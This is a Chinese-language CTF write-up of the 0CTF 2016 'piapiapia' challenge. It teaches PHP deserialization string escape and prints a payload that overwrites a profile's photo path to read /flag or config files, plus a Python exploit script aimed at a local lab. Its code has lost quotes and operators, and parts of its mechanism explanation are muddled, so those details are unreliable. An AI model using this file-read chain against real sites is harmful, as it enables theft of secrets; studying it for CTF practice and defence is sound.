PHP反序列化字符串逃逸:从0CTF piapiapia看长度字段滥用

📅 发布时间:2026/10/19 8:46:22
PHP反序列化字符串逃逸:从0CTF piapiapia看长度字段滥用
0CTF 2016 里的 piapiapia 这道题距今快十年了但它把 PHP 反序列化问题中最容易让人忽略的那个点——序列化字符串里的长度字段做成了一个非常经典的利用链。如果你刷过 Web 方向的 CTF 题大概率听说过它如果你没刷过那这道题也是入门“PHP 反序列化字符串逃逸”最好的样本之一。它能做的事很朴素注册登录、改资料、看头像但硬生生靠一段pia占位符把photo字段覆盖成任意文件路径最后把 flag 文件读出来。适合刚接触 PHP 反序列化、想弄懂serialize/unserialize边界机制的人也适合想复习字符串逃逸计算方式的老人。1. 题目速览这一眼看上去突破口藏在“更新资料”里先交代一下我对这道题的第一印象。piapiapia 这个页面进来以后界面很干净功能也很少一个注册入口、一个登录入口、登录后可以改个人资料最后看到一个头像展示页。头像展示页会直接输出图片字节流响应头是Content-Type: image/jpeg。这种界面放到今天看就是典型的“反序列化 文件读取”组合题但在 2016 年很多人第一反应还是去测 SQL 注入、XSS结果全都空手而归。我当时的判断顺序是这样的注册登录功能正常先看有没有源码泄露。这类题十有八九会把源码放在备份文件里。找到源码后优先盯“数据持久化”的部分看数据是怎么存、怎么取的。如果存的是序列化字符串再盯unserialize的位置和用户可控输入的交集。这道题的源码里确实有备份拿到之后很容易发现整个逻辑围绕profile字段转用户注册时程序会把一堆资料打包成数组再serialize()存进数据库用户改资料时又把这串数据取出来更新字段后重新写入头像页则是unserialize()之后读取photo键对应的文件。所以表面上是正常业务实际上所有关键动作都压在“序列化字符串”这一个数据载体上。只要这个字符串能被用户影响、又能被程序错误地解析那问题就来了。这里插一句做 CTF 题先别急着上扫描器手动把主流程走一遍然后顺着“数据从输入到输出”的链路读代码比什么都快。这道题如果你只扫目录大概率扫不出来什么花活但如果你跟着“存入 profile - 取出 profile - 反序列化 - 读 photo 文件”这条线走漏洞位置几乎是摆在脸上的。2. 源码审计先把几个关键文件读明白2.1 三个页面和一个公共类我把精简过的核心逻辑写出来方便对照。完整源码里还有各种判断但漏洞相关的部分就这几段。common.php里定义了一个user类负责数据库操作class user { public $db; function __construct() { $this-db new PDO(sqlite:./db.sqlite); } function get_profile() { $stmt $this-db-prepare(SELECT profile FROM users WHERE id ?); $stmt-execute([$_SESSION[uid]]); $row $stmt-fetch(); return $row[profile]; } function update_profile($data) { $stmt $this-db-prepare(UPDATE users SET profile ? WHERE id ?); $stmt-execute([$data, $_SESSION[uid]]); } }register.php注册时构造初始的 profile$profile serialize(array( username $_POST[username], email $_POST[email], nickname $_POST[nickname], photo static/default.jpg ));update.php更新资料这里藏着最关键的一行$data serialize(array( username $_POST[username], email $_POST[email], nickname $_POST[nickname], photo $_POST[photo] )); $data str_replace(pia, piapiapia, $data); $u-update_profile($data);profile.php展示头像这里是最典型的危险出口$profile unserialize($u-get_profile()); if ($profile[photo]) { header(Content-Type: image/jpeg); echo file_get_contents($profile[photo]); }如果你第一次看这份代码八成会盯着str_replace想这不就是一个字符串替换吗能有什么危害我当初也是这么想的。问题就出在serialize()执行完之后$_POST 里的内容已经被固化成了带长度声明的序列化字符串随后再对整段字符串做替换相当于把用户输入的长度“做旧”了但字符串的实际长度已经变了。2.2 头号可疑点序列化之后的统一过滤str_replace(pia, piapiapia, $data)这行从开发者的角度可能是想做一个关键词替换把输入里的某个特征词统一替换成更长的安全词避免直接落到数据库里。但站在安全角度这就是典型的“先定尺寸后改内容”。序列化字符串本身就是一种“带元数据”的格式。比如a:4:{s:8:username;s:4:test;...}其中s:4:test的意思是这是一个字符串长度是 4内容是test。反序列化器拿到s:4:之后就会老老实实去读 4 个字节作为字符串内容它不会因为你实际内容变成了 10 个字节而自动调整。这就是整个漏洞的地基。当$data整体被 str_replace 处理时如果 username 里恰好有pia那么pia变成piapiapia字符串内容变长了 6 个字节。可是s:4:里的数字 4 没有变。反序列化器按旧的长度去读读不满就会把后面原本属于email、nickname、photo的字节也当作 username 字符串的一部分吃掉。如果吃的长度恰好够我们洗出一段新的键值对那就是一次完整的属性注入。你可能要问为什么不用常见的preg_replace(/pia/, , $data)把pia删掉原理上也存在不过实际编码时删除型逃逸对长度对齐的要求更苛刻容易出现unserialize(): Error at offset。而变长替换更容易控制因为每出现一次pia长度就固定增加 6 个字节计算起来非常直观。所以出题人选择“短变长”其实是很照顾做题人的。3. 反序列化漏洞的核心机理3.1 序列化格式与“长度字段”到底怎么解析先看一个标准的 PHP 序列化数组a:4:{s:8:username;s:4:test;s:5:email;s:7:ab.c;}拆开看a:4:表示这是一个数组有 4 个元素{开始数组内容s:8:username;表示第一个键是字符串长度 8内容是usernames:4:test;表示第一个值是字符串长度 4内容是test后面依次类推反序列化器在读s:4:之后首先读到一个然后连续读 4 个字节再期望遇到一个闭合的和分号;。关键在于它不会去核对后面的 4 个字节是不是“真的”值它只按声明长度取字节。这在程序正常时没有任何问题因为serialize()生成什么长度内容就刚好匹配。但一旦中间有个过滤器改变了内容又没有同步改长度读出来的边界就错位了。3.2 变长逃逸让多余内容“溢出”成新结构假设过滤前 username 的内容是xxxpia那么实际序列化字符串里username 字段可能是s:6:xxxpia;过滤后pia变piapiapia实际内容变成xxxpiapiapia但序列化字符串里的声明长度还是 6。反序列化时只读 6 个字节也就是xxxpia剩下的pia就会留在字符串区域之外成为“多余”的字节。这些多余字节会直接影响后续字段的解析位置原本后面的;s:5:email...可能就被吞掉一部分或者反过来被错位解析。我们要做的就是控制溢出的字节让它们正好构成一个新的序列化片段比如;s:5:photo;s:5:/flag;}这段内容如果能“溢出”到字符串外反序列化器就会把它当作新的键值对解析实现 photo 字段的覆盖。3.3 属性注入链的完整形状整个注入链是这样用户提交 username里面包含普通填充字符 若干pia占位符 一个精心构造的序列化尾巴程序先serialize()把这段输入封进序列化字符串程序再执行str_replace(pia, piapiapia, $data)序列化字符串被拉长但原来字符串里的长度数字没有变下次unserialize()时按旧长度读取读不满把后面的 email、nickname、photo 等字节吞进 username 字符串构造好的尾巴在适当位置被解析成新的 photo 字段profile.php里file_get_contents($profile[photo])直接读取被覆盖的路径这比直接注入一个对象更简单因为它本质上是数组的属性注入不需要找魔术方法。你要做的就是算长度然后把尾巴精确地“顶”到正确位置。4. 利用链实操从注册到拿 flag4.1 本地复现与抓包准备我先说环境。本地搭一个 PHP 环境把源码放进去数据库用 SQLite配置文件里确保display_errors Off不然报错信息会干扰判断但调试阶段可以临时打开方便看unserialize的报错偏移。整个流程注册一个账号登录进入 update 页面修改资料抓包看看 POST 提交了哪些字段尝试构造 username提交后访问 profile.php看是否拿到 flag注册登录没什么好说的直接用浏览器或 Burp 都行。关键是第三步改资料的时候提交的字段一般有四个username、email、nickname、photo。4.2 计算 payload 长度与占位符数量核心目标是让 username 里包含这样的尾巴xxx;s:5:photo;s:5:/flag;}这个尾巴的意思很直接先把当前 username 字符串闭合掉然后定义一个新的键photo值设置为/flag最后闭合整个数组}。如果这个尾巴能作为结构被解析那么数组里的 photo 就不是默认头像而是/flag。然后算需要几个pia占位符。每个pia在str_replace(pia, piapiapia, $data)中会从 3 字节变成 9 字节增加 6 字节。所以如果放了 n 个pia整个序列化字符串会增加 6n 字节。假设尾巴长度是 L理论公式可以写成增加长度 尾巴长度也就是6n L拿我实际用的尾巴xxx;s:5:photo;s:5:/flag;}来说长度是 30 字节那 n 5也就是输入 5 个pia。如果你换了文件名长度变了就重新按这个公式算。如果打出来始终报Error at offset优先考虑是不是 L 算错了或者 n 差了一位。最终构造出来大概长这样aaaa...若干填充 piapiapiapiapia5个 xxx;s:5:photo;s:5:/flag;}前面的普通填充字符a可以随便选作用是把pia和尾巴推到合适的位置不让pia和尾巴之间发生意外。我一般会用 16 到 32 个a给后续调整留余量。4.3 提交 payload 并验证把构造好的 username 提交到 update.php其他字段正常填username: aaaaaaaaaaaaaaaapiapiapiapiapiaxxx;s:5:photo;s:5:/flag;} email: testtest.com nickname: test photo: static/default.jpg提交完成后再访问 profile.php。如果一切正常页面不会再输出图片而是直接输出/flag文件的内容。这里有个容易误判的点访问 profile.php 后浏览器可能因为响应头是Content-Type: image/jpeg而把它当图片处理导致 flag 文本显示成“破图”或者乱码。我一般直接用 curl 访问或者看响应体而不是依赖浏览器渲染。如果 flag 没有直接出现可以去读config.php或者其他包含配置的文件。原理一样只要把尾巴里的文件路径从/flag换成目标文件路径就行比如/var/www/html/config.php。4.4 完整 exploit 脚本为了不来回手点我写了一个简单的 Python 脚本跑完整流程。协议的细节不同环境会稍有差异但核心步骤是通用的import requests base http://127.0.0.1:8080 s requests.Session() # 注册 s.post(base /register.php, data{ username: newname, password: pass123, email: ab.c, nickname: n }) # 登录 s.post(base /login.php, data{ username: newname, password: pass123 }) # 构造 payload tail xxx;s:5:photo;s:5:/flag;} pia pia * 5 username a * 16 pia tail # 更新资料 r s.post(base /update.php, data{ username: username, email: ab.c, nickname: n, photo: static/default.jpg }) # 读取 profile r2 s.get(base /profile.php) print(r2.text)跑完如果返回的是 flag说明整条链已经通了。如果返回报错就进下一节排查。5. 实操中的四个典型坑5.1 长度算错导致Error at offset这个是最常见的坑。反序列化报错一般长这样unserialize(): Error at offset 123 of 456 bytes很多人一看到 offset 就懵其实定位方法很简单把最终写入数据库的序列化字符串在本地打印出来然后用十六进制编辑器或者xxd看偏移位置问题基本一眼就能看出来。我当时第一次算的时候多放了一个pia导致字符串实际溢出了 6 字节。尾巴是解析出来了但尾巴后面的数组多了一个残留结构unserialize直接报错。后来改成 5 个pia干净通过。如果你拿不准把 n 从 4、5、6 挨个试一遍本地跑脚本很快。做 CTF 题长度对齐这种事不要靠“感觉”直接输出序列化字符串比对。5.2 过滤函数是大小写敏感的str_replace(pia, piapiapia, $data)是精准匹配小写pia。如果你用了Pia、PIA或者piA过滤器根本不会触发长度自然也不会变漏洞利用直接失效。这一点非常容易手滑因为人眼盯着 payload 的时候对大小写不敏感但字符串替换函数是敏感区分的。提交前先在本地跑一下同样的str_replace看看效果再打。还有一种情况过滤函数是preg_replace(/pia/i, ...)带i修饰符那样大小写无所谓。所以我一般先翻源码确认。5.3 tail 里的引号和分号被转义或编码有些环境会做输入过滤比如把双引号转义成\。如果$_POST[username]里的引号被加了反斜杠那么序列化字符串就会多出很多转义符长度和内容全乱套。解决办法是仔细看提交后的序列化字符串内容。正常情况下tail 里的引号在数据库里应该原样保留。如果看到\就需要考虑是不是全局转义或者换一种方式提交比如直接用二进制层级的请求绕过前端的字符处理。5.4 profile.php 输出的不是 flag 而是 PHP 源码如果你把 photo 指到一个.php文件file_get_contents会直接读出 PHP 源码文本而不是执行后的结果。这在某些情况下也能用比如目标文件里有敏感配置但如果你本来想读的是纯文本 flag 文件那路径选对就行。如果 flag 定义在某个 PHP 文件里且入口是变量那么只读文件可能拿不到执行后的值。这时候要么找包含点要么看有没有日志文件、临时文件之类的写入点。piapiapia 这道题因为 flag 是单独文本直接读就完事。6. 从这道题看防御与一般规律6.1 为什么不能轻信unserialize很多人会觉得unserialize只是数据还原不执行代码能有什么危险。但反序列化漏洞的本质不是“执行代码”而是“解析混乱”。本次是数组属性注入覆盖了 photo换成别的场景如果程序反序列化了包含__wakeup、__destruct、__toString等魔术方法的对象就可能变成对象注入风险陡增。所以防御的第一原则是不要对用户可控的序列化字符串执行unserialize。如果业务上必须要用至少要做到序列化之前做输入白名单校验避免用户往数组元素里塞多余的键过滤器应该放在序列化之前而不是之后如果用str_replace这类会改变内容长度的函数过滤后必须重新serialize()一次输出文件内容前加路径白名单比如只允许读取static/目录下的文件这道题里如果只是把str_replace那行挪到serialize()前面整个漏洞链就断了。顺序就是一切。6.2 同类题目的判别特征以后刷题遇到“先发现序列化字符串又发现某个过滤器在序列化之后跑”的情况基本就是同一个套路。判别点有三条数据存储格式是 PHP 序列化字符串或者能看到a:...、O:...的字样代码里存在对整段序列化字符串做替换/过滤的逻辑且过滤会改变内容长度过滤后重写数据库后面又有unserialize的读取点只要三条都满足优先往字符串逃逸方向试。payload 构造就是按“让溢出长度等于注入片段长度”这个方向走。我个人在做这类题时还有个习惯每次构造完 payload都会先把整段序列化字符串打印出来用本地 PHP 跑一遍unserialize确认无误后再去打远程环境。眼睛盯着草稿纸算长度远不如直接跑一遍来得可靠。这道题我也是试了两三个版本才对齐尾巴后来就总结出“先本地、再远程”的流程顺手了很多。